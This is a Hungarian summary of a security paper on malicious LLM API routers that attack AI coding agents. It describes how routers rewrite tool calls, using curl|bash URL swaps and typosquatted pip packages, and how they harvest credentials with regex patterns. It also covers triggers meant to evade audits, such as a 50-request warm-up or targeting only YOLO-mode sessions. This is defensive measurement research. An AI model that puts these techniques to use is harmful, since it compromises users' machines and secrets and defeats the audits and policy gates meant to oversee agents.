Your Agent Is Mine: Measuring Malicious Intermediary Attacks on the LLM Supply Chain¶
Cikk: Hanzhi Liu, Chaofan Shou, Hongbo Wen, Yanju Chen, Ryan Jingyang Fang, Yu Feng: Your Agent Is Mine: Measuring Malicious Intermediary Attacks on the LLM Supply Chain (ACM CCS 2026 (Salt Lake City, October 2026)) arXiv: 2604.08407 (v1, 2026-04-09), cs.CR (Cryptography and Security) DOI: https://doi.org/10.48550/arXiv.2604.08407 Oldalak: 15 (~12358 szó) Dátum: 2026-09-11 (feldolgozás) Forrás: arxiv.org/html/2604.08407v1 + arxiv.org/pdf/2604.08407v1 Wiki raw: (később szinkronizálva)
Összegzés¶
A Liu, Shou, Wen, Chen, Fang és Feng (UCSB, Fuzzland, UCSD, World Liberty Financial) szerzők által jegyzett tanulmány az LLM-ellátási lánc egy mindeddig alulvizsgált elemét, az LLM API routereket veszi górcső alá. Ezek a routerek egységesített formátumban fogadják a kéréseket, és továbbítják azokat az upstream modellszolgáltatók felé. A cikk központi tézise, hogy a router a kliens által szándékosan konfigurált, alkalmazás-rétegű közbeékelődő (application-layer MITM), amelynek nincs szüksége TLS-downgrade-re vagy tanúsítvány-hamisításra: a kliens önként adja át neki a forgalmat, a router bontja a TLS-kapcsolatot, és saját TLS-munkamenetet nyit upstream. A LiteLLM, a domináns nyílt forráskódú router mintegy 40 000 GitHub-csillaggal és több mint 240 millió Docker Hub letöltéssel, az OpenRouter pedig több mint 300 aktív modellt kapcsol össze 60-nál is több szolgáltatótól.
A szerzők empirikus méréseket végeztek a commodity router-piacon: 28 fizetős (paid) routert vásároltak Taobao-, Xianyu- és Shopify-felületeken, valamint 400 ingyenes (free) routert építettek a domináns sub2api és new-api sablonokból. Ezek között 1 fizetős és 8 ingyenes router kártékony kódot fecskendez vissza az eszközhívásokba (tool call). Két router adaptív kitérést (adaptive evasion) alkalmaz a vadonban, például 50 előző hívás után aktiválódik, kizárólag autonóm YOLO módban működő munkameneteket céloz, vagy csak Rust és Go projektekre specializálódik. Az ingyenes készletben 17 router kutatói tulajdonú AWS kanári hitelesítő adatokhoz nyúlt hozzá, és 1 Ethereum privát kulcsból ETH-t is leeresztett.
Egy szándékosan kiszivárogtatott kutatói OpenAI kulcs (amelyet kínai fórumokon, WeChat- és Telegram-csoportokban tettek közzé) önmagában 100M GPT-5.4 tokent generált, és több mint hét Codex munkamenetet indított. A merge-áldozatként szolgáló nyílt routerek (weakly configured Sub2API, claude-relay-service, CLIProxyAPI decoy 20 domainen és 20 IP-n) 147 IP-címről (6 JA3 ujjlenyomat) több tízezer illetéktelen hozzáférési kísérletet kaptak, 2 milliárd (2B) GPT-5.4/5.3-codex tokent szolgáltak ki, és 99 hitelesítő adatot szivárogtattak ki 440 Codex munkamenetben, amelyből 401 már YOLO módban futott, azaz az eszközvégrehajtás már auto-jóváhagyott volt. A tanulmány 4 támadó-osztályt definiál (AC-1 payload injection, AC-2 secret exfiltration, AC-1.a dependency-targeted injection, AC-1.b conditional delivery), és három kliens-oldali védelmet (policy gate, anomaly screening, transparency log) értékel a Mine kutatási proxy segítségével. A Mine mind a négy támadó-osztályt implementálja négy (0/4) nyilvános ügynök-keretrendszer ellen.
A rész átfogja a tanulmány első három szakaszát. Az 1. szakasz (Bevezetés) a routerek mint ellátásilánc-csomópontok szerepét, a LiteLLM 2026. márciusi függőség-confusion (dependency confusion) incidensét, valamint a három fő tudományos hozzájárulást ismerteti. A 2. szakasz (Háttér) a routerek skáláját (Amazon Bedrock, Azure OpenAI Service, LiteLLM, OpenRouter), az eszközhívás (tool use / function calling) működését, valamint a LiteLLM-incidenst írja le részletesen. A 3. szakasz (Threat Model) formalizálja a támadó pozícióját, vagyis hogy a router alkalmazás-rétegű MITM, amely kérés- és válasz-oldali testeket, fejléceket és metaadatokat egyaránt olvashat, módosíthat vagy gyárthat, és kérés-oldali szelektív szolgáltatásra is képes.
A router mint bizalmi határfelület¶
A bevezetés hangsúlyozza, hogy a "router-in-the-middle" nem véletlenül útba eső támadó, hanem szándékosan konfigurált közvetítő, amely alkalmazás-rétegű jogosultsággal bír mind a kérések, mind a válaszok felett. Amint egy ügynök (agent) megcélozza a router végpontját, a szolgáltatás hozzáfér az eszközhívás argumentumaihoz, az API-kulcsokhoz, a rendszer-promptokhoz és a modell kimeneteihez. A router ezen felül normalizálhatja, késleltetheti vagy átírhatja a visszakapott eszközhívást, mielőtt a kliens végrehajtaná azt. Egyetlen end-to-end integritási mechanizmus sem köti össze a szolgáltató eszközhívás-kimenetét a kliens által végül megfigyelt művelettel. Egy rosszindulatú vagy kompromittált router ezért kicserélheti a benign installer URL-t egy támadó által irányított szkriptre, lecserélheti a pip install kéréseket egy támadó által kontrollált függőségre, vagy csendben kiszivárogtathat minden átmenő hitelesítő adatot.
A proxy-tampering (közvetítő manipuláció) önmagában nem újkeletű jelenség, az LLM ügynökök mégis különösen veszélyessé teszik ezt a bizalmi határt, mivel a hasznos adat (payload) most végrehajtható eszközhívás-szemantikát hordoz. A szerzők ezt a határfelületet LLM ellátásilánc-problémaként vizsgálják, és bevezetik az Adversarial Router Behaviors taxonómiáját, amely a közvetlen payload-manipulációt, a függőség-átírást, a hitelesítő adatok szippantását és az adaptív kitérést öleli fel. Utóbbi (adaptive evasion) során a kártékony átírások csak egy bemelegítési időszak (warm-up period) után, vagy csak akkor kerülnek kiszolgáltatásra, amikor a router azt feltételezi, hogy a kliens autonóm YOLO módban fut. Ezek a támadások ortogonálisak a prompt injection-re [17, 38]: a JSON/eszköz-rétegben zajlanak, mielőtt a modell meglátná a kérést, vagy miután a modell kiadta a választ, azaz a modell gondolkodási ciklusán kívül, és így a modell-oldali védelmekkel együtt hathatnak, nem pedig helyettesítik azokat.
A routerek elterjedése és a LiteLLM incidens¶
A 2.1 alpont rávilágít, hogy a közvetlen API-előfizetés egyetlen szolgáltatóhoz a legegyszerűbb telepítési mód, a termelési ügynök-rendszerek ritkán állnak meg itt. A szervezeteknek több szolgáltató (OpenAI, Anthropic, Google és egyre bővülő open-weight hoszt) modelljeihez kell hozzáférés, fallback, terheléselosztás, költség-optimalizálás és egységes hitelesítési sík (credential plane) mellett. Az LLM API router ezt a szerepet tölti be: egységes formátumban (jellemzően OpenAI-kompatibilis) fogadja a kéréseket, kiválasztja az upstream szolgáltatót, és visszaadja a választ.
A routing minden léptékben jelen van. Az intézményi végponton az Amazon Bedrock [4] és az Azure OpenAI Service [28] felhő-menedzselt routerek, amelyek egységes API mögé hostolnak vagy proxy-znak harmadik féltől származó modelleket. A nyílt forráskódú végponton a LiteLLM [7] és az OpenRouter [35] több tucat szolgáltatót aggregálnak egyetlen base-URL-váltás mögé. Egyes modellszolgáltatók közvetlenül együttműködnek a routerekkel a disztribúció érdekében, például új modellek first-class csatornaként való elérhetővé tételében az OpenRouteren vagy regionális aggregátor platformokon keresztül.
Kulcsfontosságú, hogy a routerek komponálhatók: a kliens és a GPU közötti útvonal rutinszerűen több routing-rétegen halad át. Egy fejlesztő például Taobao viszonteladótól vásárol API-hozzáférést, aki egy második szintű aggregátortól gyűjt kulcsokat, aki az OpenRouteren keresztül irányít, amely továbbít a modell-hostnak. Ez négy hop, mindegyik bontja és újraindítja a TLS-kapcsolatot, és mindegyik teljes plaintext hozzáféréssel bír az API-kulcsokhoz, rendszer-promptokhoz, eszköz-definíciókhoz és eszközhívás-válaszokhoz. A kliens csak az első hopot konfigurálja, az azt követő hopok láthatatlanok. Mivel nincs olyan end-to-end integritási mechanizmus, amely átfogná ezt a láncot, egyetlen rosszindulatú vagy kompromittált router bármely rétegben megfertőzi a teljes útvonalat: a downstream őszinte routerek nem észlelhetik, hogy egy upstream hop már átírt egy eszközhívást vagy másolt egy hitelesítő adatot. Ezt a leggyengébb láncszem-tulajdonságot (weakest-link property) a 4. szakasz formalizálja.
A routing különösen elterjedt azokban a régiókban, ahol a közvetlen szolgáltatói hozzáférés korlátozott, drága vagy kvótakorlátokkal terhelt. A viszonteladott és aggregált API-hozzáférés körül nagyméretű commodity-piac alakult ki: a Taobao kereskedőknél egyes üzletek több mint 30 000 ismételt vásárlást érnek el LLM API-kulcsokra [36], a new-api [40] (25,4 ezer GitHub-csillag, 1,25 millió Docker pull) és annak upstream forkja, az one-api [31] (30,5 ezer csillag, 1,19 millió Docker pull) nyílt forráskódú router-sablonok milliószor lettek letöltve. A LiteLLM önmagában mintegy 40 000 csillagot és több mint 240 millió Docker Hub letöltést halmozott fel.
A 2.3 alpont részletezi a 2026. márciusi LiteLLM-incidenst, amelyben a támadók függőség-confusion (dependency confusion) révén kompromittálták a LiteLLM csomagot, és kártékony kódot juttattak a merge-kérelmet kezelő (request-handling) folyamatba minden olyan telepítésben, amely a mérgezett release-t letöltötte [11]. A befecskendezett payload írási hozzáféréssel bírt minden átmenő API-kéréshez és -válaszhoz, vagyis ugyanazzal a képességkészlettel, mint amellyel egy szándékosan rosszindulatú router rendelkezne. Ez az incidens megmutatta, hogy a router bizalmi határfelülete nem hipotetikus: egyetlen ellátásilánc-beli belépési pont egy széles körben telepített routerben elegendő volt a teljes továbbítási útvonal kompromittálásához.
Eszközhívás és funkcióhívás a gyakorlatban¶
A 2.2 alpont a modern LLM API-k eszközhívás-képességét (tool use, más néven function calling) írja le, mint első osztályú képességet [37, 39, 43]. Az OpenAI tool_calls mezőt ad vissza JSON-kódolt argumentumokkal [32], az Anthropic tool_use tartalomblokkokat natív JSON objektummal [5], a Gemini hasonló strukturált interfészt kínál [16]. Minden formátumban az eszközhívás argumentumai plaintext JSON-ként közlekednek. Egyetlen szolgáltatói szintű integritási mechanizmus sem köti össze a modell által visszaadott argumentumokat a kliens által vett argumentumokkal. Egy közvetítő, amely mindkét oldalon bontja a TLS-t, észlelés nélkül olvashatja, módosíthatja vagy gyárthatja bármely eszközhívás-payloadot.
Fenyegetési modell és a támadó pozíciója¶
A 3. szakasz az 1. ábrával illusztrált rendszer-architektúrát és a támadó pozícióját írja le. A modell olyan támadót feltételez, aki vagy rosszindulatú LLM API routert üzemeltet, vagy egy legitim routert kompromittált ellátásilánc-támadás, bennfentes hozzáférés vagy szerver-oldali exploitáció révén [11]. Mivel a kliens kifejezetten a routert konfigurálja API-végpontként, a router bontja a kliens-oldali TLS-kapcsolatot, és külön TLS-munkamenetet indít upstream. Ebből fakadóan alkalmazás-rétegű MITM pozíciót foglal el tervezésből, és olvashatja, megtarthatja, átírhatja vagy gyárthatja a kérés- és választesteket, fejléceket, valamint a kérés-metaadatokat. Ez magában foglalja az eszköz-definíciókat, promptokat, eszköz-kimeneteket, API-kulcsokat és a visszaadott eszközhívás-payloadokat OpenAI-, Anthropic- és Gemini-stílusú interfészeken egyaránt. A router kérés-közi állapotot (cross-request state) is vezethet, ami lehetővé teszi, hogy a payload-átírást csak a triggernek megfelelő munkamenetekre aktiválja.
A modell feltételezi a standard TLS-t a router és az upstream szolgáltató között, valamint a modellsúlyok és az inferencialogika kompromittálatlanságát. Az alapvető integritási hézag az, hogy egyetlen telepített mechanizmus sem köti össze a szolgáltatói eredetű eszközhívás-választ azzal, amit a kliens végül megkap. Ez a hézag teszi lehetővé a válasz-oldali payload-átírást, míg a kérés-oldali láthatóság a szelektív kiszolgáltatást engedélyezi adott felhasználók, munkafolyamatok vagy eszközhívások felé. A modell kizárja a prompt injectiont, a modell-backdoorokat, a kliens-oldali kártevőket, a szolgáltatásmegtagadást és a tisztán modell-helyettesítést. Ezek a viselkedések komponálódhatnak a router-visszaéléssel, de megkülönböztetendők a válasz-manipulációs és passzív gyűjtési támadásoktól, amelyeket a tanulmány vizsgál.
A tanulmány három fő hozzájárulása¶
A bevezetés három tudományos hozzájárrást jelöl meg. Az első a fenyegetési modell és a támadó-taxonómia: a szerzők prezentálják az első formális fenyegetési modellt az LLM API routerekre, mint ellátásilánc-bizalmi határfelületre, és definiálnak két alapvető támadó-osztályt, a payload injectiont (AC-1) és a secret exfiltrationt (AC-2), valamint két adaptív kitérési variánst: a dependency-targeted injectiont (AC-1.a) és a conditional deliveryt (AC-1.b), a megfigyelt router-viselkedésre alapozva. A második az ökoszisztéma-mérés és a poisoning vizsgálatok: 28 fizetős és 400 ingyenes routert elemeznek, és 9 olyat találnak, amely kártékony kódot fecskendez be, 2 olyat, amely adaptív kitérést alkalmaz, valamint 17 olyat, amely kutatói tulajdonú hitelesítő adatokkal él vissza. Két poisoning vizsgálat mutatja, hogy a benign routerek is bevonzhatók ugyanebbe a támadási felületbe kiszivárgott kulcsok és gyenge relé-láncok révén. A harmadik a megvalósítás és a telepíthető védelmek: a szerzők megépítik a Mine kutatási proxyt, amely mind a négy támadó-osztályt implementálja négy nyilvános ügynök-keretrendszer ellen, és értékelnek három kliens-oldali védelmet, amelyek szolgáltatói együttműködés nélkül is telepíthetők.
A rész végén világossá válik, hogy a routerek bizalmi határfelülete nem csupán elméleti konstrukció: a commodity router-piac, a többszörös poisoning-vizsgálat és a LiteLLM-incidenst követő hullám mind empirikus bizonyítékot szolgáltat arra, hogy a kliens és a modell-szolgáltató közötti lánc leggyengébb láncszeme ma az alkalmazás-rétegű közvetítő. A további részek a támadó-osztályok részletes taxonómiáját, a mérési módszertant és a konkrét védekezési mechanizmusokat tárgyalják.
Összefoglaló¶
Ez a rész a paper technikai magja: a 4 támadásosztály (AC-1, AC-2, AC-1.a, AC-1.b) formális definíciója, valamint az ökoszisztéma-mérés, amely 28 fizetős és 400 ingyenes LLM-routeren, illetve szándékosan gyenge relay-eken méri a tényleges visszaéléseket. A szerzők a malicious-router viselkedést két ortogonális primitívre redukálják: aktív manipuláció (AC-1), amikor a router az upstream provider válaszában átírja a tool-call payload JSON-ját, és passzív gyűjtés (AC-2), amikor a router az átmenő plaintext forgalomból kiszedi a credential-okat. A formális keretrendszer (Client, Router-1..Router-k, Provider) a lánc-integritást weakest-link tulajdonságként kezeli: ha bármelyik R_j ≠ R_honest, akkor a teljes (R_1 ∘ ... ∘ R_k)(req) elveszíti az integritásgaranciát. Ez alátámasztja, hogy a multi-hop taint propagation miért terjeszti a kockázatot több rétegben is.
Az AC-1 két adaptív eváziós variánssal rendelkezik. Az AC-1.a dependency-targeted injection, ahol a router a pip install, npm install, cargo add parancsokban egy legitim csomagnevet typosquat névre cserél (például requests → reqeusts), így a domain-alapú policy gate-eket kijátssza, és tartós supply-chain footholdot szerez. Az AC-1.b conditional delivery, ahol egy trigger predikátum φ(req, s) feltételhez köti a payload injectiont. A gyakorlati trigerek öt családba sorolhatók: (1) tool-name feltételek (Bash, run_command), (2) content kulcsszavak (curl -sSL, pip install), (3) user fingerprint (YOLO mode, target organization), (4) time window (off-hours, deployment event), (5) request-count threshold (N kérés utáni aktiválódás). Ezek a triggerek nem igényelnek modell-kompromittálást, kizárólag a router számára amúgy is látható metaadatokból és payload-mezőkből dolgoznak.
Az ökoszisztéma-mérés két fő kutatási kértí vizsgál. Először: működnek-e már malicious routerek a valós, agent-facing piacokon? Másodszor: a látszólag benign routerek megmérgezhetők-e ugyanabba a supply-chain pozícióba kiszivárgott upstream credential-ok vagy gyenge relay-eken keresztül? A mérés 28 fizetős routert vásárolt Taobao, Xianyu és Shopify storefront-okról, valamint 400 ingyenest gyűjtött sub2api (11k GitHub stars) és new-api (25.4k stars, 1.25M Docker Hub pulls) template-ekből. Az eredmények: 1 fizetős és 8 ingyenes router injektál malicious kódot, 17 ingyenes router triggerel follow-on AWS canary használatot, 1 ingyenes router ETH-et drainel, 2 router adaptív eváziót mutat (50 kérés warm-up, illetve YOLO mode + Rust/Go projektek). A poisoning study-kban egy szándékosan kiszivárogtatott OpenAI key 100M GPT-5.4 tokent szolgált ki és 7+ Codex sessiont tett láthatóvá; a 20 domainen + 20 IP-n telepített weak-router decoy 40k+ jogosulatlan hozzáférési kísérletet vonzott 147 IP-ről 6 egyedi JA3 fingerprinttel, és 2B GPT-5.4 / 5.3-codex tokent, 13 GB látható forgalmat, 99 credentialt 440 Codex-sessionben (mind a 440 command-injectable, 401 YOLO mode-ban) generált.
AC-1 és AC-2: A két mag támadásosztály¶
A malicious-router viselkedés két ortogonális primitívre redukálódik. Az aktív manipuláció (AC-1) során a router a tool-call payloadot a provider válaszából átírja, mielőtt az elérné a klienst. A passzív gyűjtés (AC-2) során a router az átmenő plaintext forgalomból titkos credential-okat szív ki aszinkron módon, a választ változatlanul továbbítva. A kettő közötti határ láthatatlan a kliens számára, mert a router amúgy is olvassa a plaintext API key-eket a legitim routing részeként.
Az AC-1 rewrite függvénye (ToolCall → ToolCall) a tool-call argumentum JSON-jának egyes mezőit cseréli ki, miközben a tool nevét és a séma struktúráját érintetlenül hagyja. A módosított payload szintaktikailag érvéges JSON marad, illeszkedik a várt tool-sémához, és nem generál séma-sértést vagy transzport-anomáliát. Egy shell-execution tool (Bash, run_command) esetén egyetlen benign URL attacker-controlled scriptre cserélése tetszőleges kódfuttatást eredményez a kliens gépén. A példában a curl -sSL https://get.example.com/cli.sh | bash parancs curl -sSL https://attacker****.sh | bash formára cserélődik. A 2026 márciusi LiteLLM-kompromittálás pontosan ezt a primitívet demonstrálta nagybani mértékben: amint a támadó a request pipeline fölé kerekedett, minden áthaladó tool-call ki volt téve az átírásnak.
Az AC-2 kizárólag read-only hozzáférést használ: az extract függvény a headers, request body és response body tartalmát credential-minták (regex) ellen szkenneli, miközben a választ változatlanul továbbítja. A reprezentatív minták között megtalálhatók az OpenAI key-k (sk-[A-Za-z0-9]{20,}), AWS key-k (AKIA[A-Z0-9]{16}), GitHub PAT-k (ghp_[A-Za-z0-9]{36}), Slack bot tokenek (xoxb-[0-9]+-[A-Za-z0-9]+), Ethereum key-k (0x[a-fA-F0-9]{64}) és PEM privát kulcsok (-----BEGIN .* PRIVATE KEY-----). A Section 5 szigorú definíciója szerint AC-2 kimenetelnek csak az számít, ha a kitettséget a kutatók által birtokolt canary-k vagy credential-ok külső, jogosulatlan használata követi. A extraction surface az API key-eken túl rendszerpromptokat, tool-definíciókat, felhasználói fájltartalmakat és környezeti változókat is lefed, mivel mind ugyanazon a plaintext csatornán haladnak.
A formális keretrendszer a teljes láncot (R_1 ∘ ... ∘ R_k) kezeli. A legfontosabb tulajdonság a chain integrity: ha ∀ i ∈ [1,k] esetén R_i = R_honest, akkor (R_1 ∘ ... ∘ R_k)(req) = P(req). Ha viszont ∃ j ∈ [1,k] esetén R_j ≠ R_honest, akkor a láncra nincs integritásgarancia. Ez a weakest-link tulajdonság azt jelenti, hogy egyetlen rosszhiszemű router bármely rétegben alkalmazhat AC-1 vagy AC-2 primitívet, és a downstream honest routerek nem tudják észlelni vagy visszavonni a módosítást, mert nem rendelkeznek referencia-eredettel. Az AC-2 taint propagation kumulatív: σ_chain = ⋃_{i=1}^k extract_i(req_i, resp_i), vagyis minden router megfigyeli a plaintext forgalmat, és az összesített kitettség a teljes lánc uniója.
AC-1.a és AC-1.b: Adaptív eváziós variánsok¶
Az AC-1.a a dependency-targeted injection esete. A router a pip install, npm install, cargo add típusú csomagtelepítő parancsokban cseréli ki a legitim csomagnevet egy attacker-controlled, előre regisztrált névre. A csere lehet vizuálisan hasonló (typosquatting) vagy teljesen eltérő package-név; a typosquat különösen hatékony, mert az LLM-alapú review és approval UI-k gyakran hallucinálják, hogy a near-homograph helyes, így a downstream ellenőrzések átengedik. A környező parancssor változatlan marad, tehát az átírt parancs kikerüli a domain-alapú allowlisteket és approval flow-kat. A konkrét példa: python -m pip install requests flask pyyaml → python -m pip install reqeusts flask pyyaml, ahol a reqeusts typosquat package már előre regisztrálva van a PyPI-n. A policy gate defense Section 7.1-es elemzésénél a szerzők kifejezetten úgy tervezték ezt a támadást, hogy demonstrálja a gate kikerülhetőségét: a gate blokkolja a nem-allowlistelt domaineket, de nem tart fenn per-package allowlistet. A compromised dependency lokálisan cache-elve marad, és a jövőbeni session-ök során újra importálódik, ami tartós supply-chain footholdot jelent a one-shot AC-1 URL-átirányítással szemben.
Az AC-1.b a conditional delivery, vagyis a payload injection server-side trigger predikátumhoz kötése. A φ(req, s) : Request × State → Bool predikátum öt családból meríthet értékeket. A tool-name feltételek csak bizonyos eszközökre (Bash, run_command) aktiválódnak. A content kulcsszavak olyan mintákra figyelnek, mint a curl -sSL vagy pip install. A user fingerprint magában foglalja a YOLO mode-ban futó session-öket vagy egy adott szervezethez tartozó session-öket. A time window off-hours vagy deployment-event utáni időszakot jelöl. A request-count threshold N kérés után aktiválja az injekciót, elrejtve a támadást a sekély smoke testek elől. Egy 50 kéréses warm-up-ot alkalmazó router egy 10 kéréses próba során teljesen transparentnek tűnik, ami a véges black-box auditálást fundamentálisan alkalmatlanná teszi. A Codecov CI-incidents (2021) pontosan ezt a mintát követte: a credential-harvesting payload csak CI-környezetben aktiválódott, hónapokig észrevétlen maradt. A mérések is kimutattak hasonló logikát: az egyik router csak 50 előzetes hívás után aktiválódott, a másik csak Rust vagy Go projekteket célzó YOLO session-ökben.
A kombinált triggerek különösen erősek. Ha a router tool-name match + warm-up count együttesét követeli meg, akkor egy auditor, aki a helyes tool-t teszteli, sosem éri el az aktivációs küszöböt a tipikus próba-költsveten belül. Mivel a trigger predikátum server-side és átlátszatlan, nincs fix hosszúságú kliens-teszt, amely garantálná a router benign voltát.
Mérési korpusz és pipeline¶
A measurement dataset négy forrásból tevődik össze. A fizetős routereket (28) Taobao, Xianyu és Shopify storefront-okról vásárolták, OpenAI- és Anthropic-kompatibilis endpointok tesztelésére. Az ingyenes routereket (400) nyilvános közösségekből, router-listákból és konfigurációs dump-okból gyűjtötték; a korpusz túlnyomórészt a sub2api (11k GitHub stars) és new-api (25.4k stars, 1.25M Docker Hub pulls) template-ekből épült. A deduplikáció konzervatív: pontosan ismétlődő endpointok URL-normalizálás után összevonva, de azonos template-et más domainen vagy IP-n futtató deploymentek külön maradnak, mert eltérő külső trust boundary-t képviselnek.
A tesztpipeline négy fázisban fut. Először a kutató regisztrál egy accountot a routeren és API credential-okat szerez. Másodszor a accountot egy sandboxolt agent környezeten vezeti át, és a TerminalBench 2.0 feladatok véletlenszerű részhalmazát futtatja, amelyek valós shell-, package-install és file-manipulációs tool-callokat generálnak. Harmadszor minden router által visszaadott tool-call payload sandbox-ban hajtódik végre, hálózati callback-ek, fájlrendszer-módosítások és process-tree anomáliák monitorozásával. Negyedszer egy dedikált elemző agent a flagelt végrehajtásokat benign rewriting (pl. CDN-csere), potenciálisan malicious vagy confirmed malicious kategóriákba sorolja, és rögzíti a feltételes triggerek jelenlétét.
A poisoning study-k két további mérésből állnak. Az elsőben egy kutató által birtokolt OpenAI API key-t szivárogtattak szándékosan kínai fórumokon, valamint WeChat és Telegram csoportokban, ahol router-operátorok credential-okat és relay-endpointokat osztanak meg. A másodikban sebezhető claude-relay-service instance-okat telepítettek 20 domainen, valamint gyenge jelszavú Sub2API és CLIProxyAPI instance-okat 20 IP-n. Ezek a decoy-k kutató-kontrolláltak voltak, és kizárólag azt mérték, hogy a külső operátorok milyen gyorsan építik be őket downstream router-láncokba. Mindkét poisoning study-ban kizárólag aggregált session-metaadatokat, credential-osztályokat, a kiszivárgott credential-értékek salted hash-eit, valamint durva host- vagy projekt-azonosítókat tároltak; nyers harmadik féltől származó prompt- vagy response-törzseket nem.
Aktív malicious routerek a vadonban¶
A 28 fizetős és 400 ingyenes router között a mérzés aktív malicious viselkedést talált mindkét piacon. Egy fizetős és nyolc ingyenes router malicious kódot injektál a visszaadott tool-callokba. Ezek a módosítások nem kozmetikai output-átírások: megváltoztatják azt a parancsot vagy dependency-t, amelyet az agent végrehajtani szándékozik. Az ingyenes routerek között 17 router triggerel follow-on használatot legalább egy kutató által birtokolt AWS canary credential átkelte után, és egy router ETH-et drainel egy kutató által birtokolt Ethereum privát kulcsból. A fizetős pool-ban 1/28 (3.57%) az aktív manipuláció aránya, míg az ingyenes pool-ban 8/400 (2.0%) aktív manipuláció, 17/400 (4.25%) credential abuse, és 1/400 (0.25%) wallet drain. Az adaptív evázió kizárólag olyan routereknél figyelhető meg, amelyek már eleve aktív manipulációt végeznek.
Két malicious router adaptív eváziót mutat always-on rewriting helyett. Az egyik esetben a malicious tool-call csak az első 50 kérés után injektálódik, ami elrejti a támadást a sekély smoke testek elől. A másik esetben az injekció csak olyan session-ökben aktív, amelyek YOLO mode-ban futnak, és csak akkor, ha a projekt fingerprint Rust vagy Go. Ezek a triggerek elegendőek a benign próbák tisztán tartásához, miközben a magas értékű coding session-ök számára fenntartják a manipulációt. Mivel a routereket kizárólag véges black-box próbákon keresztül figyelték meg, egy router további látens kondíciókat is implementálhat, amelyeket a próbák nem aktiváltak.
Poisoning: benign routerek megmérgezése¶
Az aktív malicious routerek a supply-chain problémának csak a felét jelentik. A látszólag benign routerek akkor kerülnek ugyanabba a pozícióba, ha újrafelhasználnak kiszivárgott upstream credential-okat, vagy ha a felhasználói forgalmat gyengébb relay-eken keresztül továbbítják. A mérzés mindkét útvonalat megfigyelte.
Az első poisoning study-ban egyetlen kiszivárgott OpenAI key 100M GPT-5.4 tokent szolgált ki és több mint hét Codex user sessiont tett láthatóvá. Mivel a forgalom a kutató upstream accountján számlázódott és logolódott, downstream prompt, tool és credential anyagot lehetett megfigyelni egy olyan routeren, amelyet a kutató nem közvetlenül üzemeltetett. Legalább egy megfigyelt sessionben több különböző credential jelent meg a kiszivárgott key mögött. Ez az eredmény konzisztens több útvonallal: a router-operátor közvetlen újrafelhasználásával, nem kapcsolódó harmadik felek közvetlen újrafelhasználásával, vagy hosszabb relay-láncban történő újrafelhasználással. A provider-oldali logokból ezek az útvonalak nem mindig különíthetők el. Ami viszont megállapítható, az a blast radius: amint egy látszólag benign router-útvonal ellopott upstream credentialt használ újra, a credential birtokosa ugyanazt a plaintext-láthatóságot örökli, mint egy aktívan malicious router.
A második poisoning study-ban 20 domainen claude-relay-service instance-okat és 20 IP-n gyenge jelszavú Sub2API, valamint CLIProxyAPI instance-okat telepítettek. A decoy-k 40k+ jogosulatlan hozzáférési kísérletet vonzottak 147 IP-ről, hat egyedi JA3 fingerprinttel. Ezek a kezdeti hozzáférések opportunisztikus internet-scannel és az azt követő relay-újrafelhasználással konzisztensek. A decoy-k nem csupán egyszeri scanelés áldozatai lettek: aktív agent-facing relay útvonalakba ágyazódtak, amelyek tartós számlázott használatot és ismétlődő Codex session-öket generáltak. Végül ezek a decoy-k nagyjából 2B GPT-5.4 és 5.3-codex tokent szolgáltak ki, ami nagyjából 13 GB látható downstream prompt/response forgalomnak felelt meg, és 99 egyedi credentialt tártak fel 440 Codex sessionben 398 különböző projekt vagy host között. Mind a 440 session command-injectable volt, és 401 már YOLO mode-ban működött (tool végrehajtás automatikus jóváhagyás, nem parancsonkénti megerősítés). A 401 session esetében kifinomult adaptív evázióra nem volt szükség: egyszerű payload injection is elegendő lett volna a végrehajtott parancsok módosításához.
Legfontosabb tanulságok és scope¶
A mérzés négy fő következtetést támaszt alá. Először: a malicious routerek mind a fizetős, mind az ingyenes commodity router-piacokon már léteznek. Az 1 fizetős és 8 ingyenes injektáló router bizonyítja, hogy ez nem tisztán hipotetikus fenyegetés vagy a nyilvánvaló free relay dump-ok patológiája. A fizetős hozzáférés javítja a szolgáltatás stabilitását, de nem bizonyítja a tool-call integritást.
Másodszor: az adaptív eváziót alkalmazzák, de gyakran nem szükséges. A mérzés valódi routereket talált, amelyek warm-up forgalomra várnak, kizárólag YOLO mode-ot céloznak, vagy Rust és Go projektekre korlátozzák az injekciót. a weak-router decoy study azt mutatja, hogy számos downstream agent session eleve olyan megengedő, hogy összetett triggerekre nincs szükség: a megfigyelt 440 sessionből 401 olyan autonóm volt, hogy egyszerű payload injection is sikeres lett volna.
Harmadszor: a benign routerek megmérgezhetők ugyanabba a trust boundary-be. A kiszivárgott upstream key-k és gyenge harmadik féltől származó relay-ek egyébként benign routereket alakítanak át a plaintext prompt-láthatóság, credential kitettség és command injection csatornáivá. A supply-chain kockázat tehát nem akkor kezdődik, amikor egy router-operátor malicious döntést hoz; akkor is megjelenik, amikor egy router kompromittált credential-okat használ újra, vagy csendben egy gyengébb upstream közvetítőn keresztül láncolódik.
Negyedszer: a router threat boundary tranzitív. Egy routernek nem kell maliciousnak lennie az account-létrehozás pillanatában. Ha később kiszivárgott upstream key-t fogad, vagy a forgalmat egy gyenge relay-láncba továbbítja, mind a négy támadásosztály hozzáférhetővé válik annak a számára, aki az upstream accountot vagy belső relay-t birtokolja. A felhasználó azt hiheti, hogy egy routerben bízik, miközben a tényleges trust boundary csendben kiterjedt egy nagyobb lánc opportunisztikus operátorra.
A korpusz a legaktívabb nyilvánosan elérhető commodity router-piacokat célozza; az enterprise és invite-only deployment-ek természetes kiterjesztést jelentenek. Bár a korpusz nagy része kínai nyelvű piacterekről és közösségekből származik, ez nem regionálisan szűkíti a megállapításokat: a kínai open-source modellek egyes hetekben az OpenRouter teljes használatának közel 30%-át érték el, Ázsia LLM API kiadásainak részesedése a platformon 13%-ról 31%-ra nőtt, így a forgalmat kiszolgáló routerek a globális routing-volumen jelentős részét kezelik. A poisoning study-k a kihasználhatóságot és a blast radiuszt demonstrálják reális körülmények között, a session-szintű megállapítások pedig a commodity routerekkel ténylegesen interakcióba lépő felhasználói populációt tükrözik.
Összefoglaló¶
